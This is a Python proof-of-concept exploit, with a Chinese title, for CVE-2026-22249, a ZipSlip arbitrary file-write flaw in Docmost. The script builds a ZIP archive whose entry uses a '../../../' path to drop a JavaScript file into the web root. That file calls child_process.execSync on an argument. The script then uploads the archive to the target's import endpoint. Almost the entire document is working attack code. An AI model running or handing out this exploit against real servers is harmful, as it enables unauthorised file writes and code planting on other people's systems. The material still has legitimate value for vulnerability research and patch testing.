CVE-2026-22249 Docmost ZipSlip任意文件写入漏洞

import zipfile import os import sys import requests # PoC for CVE-2026-22249: Docmost ZipSlip Arbitrary File Write # This script demonstrates how an attacker can exploit the ZipSlip vulnerability def create_malicious_zip(target_path, output_file): """ Create a malicious ZIP file containing a file with path traversal in its name """ with zipfile.ZipFile(output_file, 'w') as zf: # Create a file with path traversal sequence to write outside target directory # Adjust the number of ../ based on the actual directory structure malicious_filename = '../../../var/www/html/static/evil.js' malicious_content = b'// Malicious JavaScript - Remote Code Execution\n' malicious_content += b'const { execSync } = require("child_process");\n' malicious_content += b'execSync(process.argv[1]);\n' # Add the malicious file to the ZIP archive zf.writestr(malicious_filename, malicious_content) print(f'[+] Created malicious file: {malicious_filename}') print(f'[+] Output ZIP: {output_file}') def main(): if len(sys.argv) < 3: print('Usage: python cve-2026-22249-poc.py <target_url> <output_zip>') print('Example: python cve-2026-22249-poc.py http://docmost.local:3000 malicious.zip') sys.exit(1) target_url = sys.argv[1] output_file = sys.argv[2] # Create the malicious ZIP file create_malicious_zip('/api/import/upload', output_file) # Upload the malicious ZIP file upload_url = f'{target_url}/api/import/upload' print(f'\n[!] Upload the {output_file} file through the Docmost import feature') print(f'[!] The file will be extracted and written to an arbitrary location') print(f'[!] Target path: ../../../var/www/html/static/evil.js') # Attempt to upload try: with open(output_file, 'rb') as f: files = {'file': (output_file, f, 'application/zip')} response = requests.post(upload_url, files=files, timeout=30) print(f'\n[+] Response Status: {response.status_code}') print(f'[+] Response: {response.text}') except requests.exceptions.RequestException as e: print(f'[-] Error uploading file: {e}') if __name__ == '__main__': main()